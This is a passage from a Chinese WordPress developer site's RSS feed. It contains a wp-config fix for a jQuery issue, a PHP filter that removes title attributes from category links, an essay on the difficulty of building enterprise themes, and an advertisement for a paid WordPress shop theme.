<p>I&#8217;ve installed 3.5.1 onto quite a few servers recently with no problem. However, recently I did a standard installation. No plug-ins running and an absolutely pristine install.</p>
<p>这个往往是由于Jquery引起的问题，可以在wp-config.php里加入以下代码：define(&#8216;CONCATENATE_SCRIPTS&#8217;, false);放到define(&#8216;DB_HOST&#8217;)这一行的后面即可以解决。</p>
<p>Its a JQuery problem I solved it by adding: define(&#8216;CONCATENATE_SCRIPTS&#8217;, false); to the wp-config.php file, just below the define(&#8216;DB_HOST&#8217;) line.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress去掉分类标题提示文字remove_title_attribute</title>
		<link>https://www.3code.cn/wordpress-remove_title_attribute/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Thu, 19 Dec 2013 01:19:46 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<category><![CDATA[WordPress，remove_title_attribute]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3393</guid>

					<description><![CDATA[function ft_rtt_remove_title_attribute( $output ){<a class="moretag" href="https://www.3code.cn/wordpress-remove_title_attribute/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<pre><code>function ft_rtt_remove_title_attribute( $output ){
$output = preg_replace('/title=\"(.*?)\"/','',$output);
return $output;
 }
add_filter('wp_list_categories','ft_rtt_remove_title_attribute');
add_filter('wp_list_pages','ft_rtt_remove_title_attribute');</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress企业主题制作简单吗？WordPress外贸主题制作</title>
		<link>https://www.3code.cn/wordpress-designer/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Tue, 03 Sep 2013 02:03:59 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<category><![CDATA[wordpress企业主题]]></category>
		<category><![CDATA[Wordpress外贸]]></category>
		<category><![CDATA[wp企业主题]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3158</guid>

					<description><![CDATA[WordPress是一款开源系统，很多人以为开源的系统一定比闭源的简单。 那么下面了解下，用Word<a class="moretag" href="https://www.3code.cn/wordpress-designer/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>WordPress是一款开源系统，很多人以为开源的系统一定比闭源的简单。</p>
<p>那么下面了解下，用Wordpress建立一个企业主题，或者说用Wordpress进行二次开发一个网站，到底需要哪些工作，需要具备哪些技术。</p>
<p>1、一般的企业网站的后台都是用ASP，PHP，ASP.NET，JSP等语言自己开发的后台，我们以PHP为例。 不管是什么语言，开发的后台都是具有针对性的，就是不像Wordpress这样子考虑了很多功能在里面，也就是说没有Wp后台功能强大的多的多，但是使用方面容易上手，因为简单。符合一般不懂技术的人使用。</p>
<p>2、一般的网站后台只需要开发人员具备单一的PHP或者ASP等语言编程技术即可，但是如果要开发像WORDPRESS这样子的后台，需要的技术远远要多的多。好在我们不用去重写后台，进行二次开发的时候如果需要只是在原后台的基础上进行修改与增加功能即可。</p>
<p>3、Wordpress企业主题的开发，主要是开发者不用再去写后台代码，只需要开发前台就可以了。 那工作量是不是应该比较小呢。 这个问题与需要开发的主题的页面复杂程度有关。如果界面功能很多，那开发者就要费时间与精力去写CSS，切图，程序功能调用，JS等很多东西，与直接开发一个网站没有什么区别，从另一方面来说，还需要程序员具备WORDPRESS特定的知识，例如WP函数，WP机制等等，相对比传统建站还要复杂。</p>
<p>4、从使用者来讲，使用人员需要对WORDPRESS后台熟悉后才能操作，而这个熟悉的过程会比传统的后台要费一定的时间。往往需要技术人员进行培训后才能上手。从这点来讲，又比传统网站多了一个培训的过程。</p>
<p>5、总之，要做好一个企业主题，没有那么简单的，并不是有人讲的那样，Wordpress这么简单，开发一个主题还那么贵？ 甚至有人说我只是做一个主题而已，不是做整站，听后让人哭笑不得。</p>
<p>6、为什么Wordpress做一个企业网站无论从使用还是从开发方面来讲都比较麻烦但是还有很多人去用它呢，其中最重要的一点就是SEO。Wordpress具备非常好的网站优化效果，即使你不懂的如何去做SEO，你只是去写写文章加加资料之类的，Wordpress系统也会让你的网站有排名给你的站带来流量，对企业来说就意味着带来订单。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>用WordPress做外贸商城系统_商城模板_商城主题的好处</title>
		<link>https://www.3code.cn/wpshop/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Mon, 26 Aug 2013 05:52:41 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<category><![CDATA[WordPress企业商城]]></category>
		<category><![CDATA[WordPress商城]]></category>
		<category><![CDATA[WordPress商城主题]]></category>
		<category><![CDATA[WordPress商城模板]]></category>
		<category><![CDATA[WordPress外贸商城]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3154</guid>

					<description><![CDATA[大家都知道用wordpress做企业站可以，都可以带来很好的SEO排名效果，特别是针对外贸网站外贸业<a class="moretag" href="https://www.3code.cn/wpshop/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>大家都知道用wordpress做企业站可以，都可以带来很好的SEO排名效果，特别是针对<a title="外贸网站建设" href="https://www.3code.cn">外贸网站</a>外贸业务，最近越来越多的人问用wordpress能否做商城系统。答案是肯定的。</p>
<p>用WordPress做外贸商城系统,商城模板,商城主题的好处主要在于SEO优化，要不然可以用其它系统比如zencart,ecshop等就可以了。</p>
<p>在哪里可以找到<a title="Wordpress商城主题" href="https://www.3code.cn">WordPress商城主题</a>,很多国外的网站上都有现成的开发好的商城主题，不过使用起来是相当麻烦的，特别是对一般的不了解wordpress的非技术人员，那就更是难上加难，再都国外开发的商城主题或者是企业主题设置起来都是相当复杂，而且不一定能够符合seo标准，也不符合一般企业站的口味，所以说国外的主题有的挺美观但不一定实用。</p>
<p><a href="http://www.mold-china.org">China Injection Mold Company</a>, <a title="plastic injection mold china" href="http://www.mold-china.org">Plastic injection mold china</a></p>
<p>九创开发的<a title="Wordpress商城主题" href="https://www.3code.cn">WordPress商城主题</a>[客户案例<a href="http://www.obd-store.com">www.obd-store.com</a>]是一款基于在线购物付款的外贸商城系统，付款方式采用Paypal, 包括用户注册，登录，购物车、订单查看，后台邮件群发等功能，是一款非常好用的、适合国人使用的Wordpress商城系统，非常完善的解决了wordpress商城的问题。　本主题售价5000RMB,　包括了安装、调试、技术支持等，用户只需要加产品及新闻等基本操作就可以。5000RMB做一个wordpress的商城系统可以说是非常超值了。</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
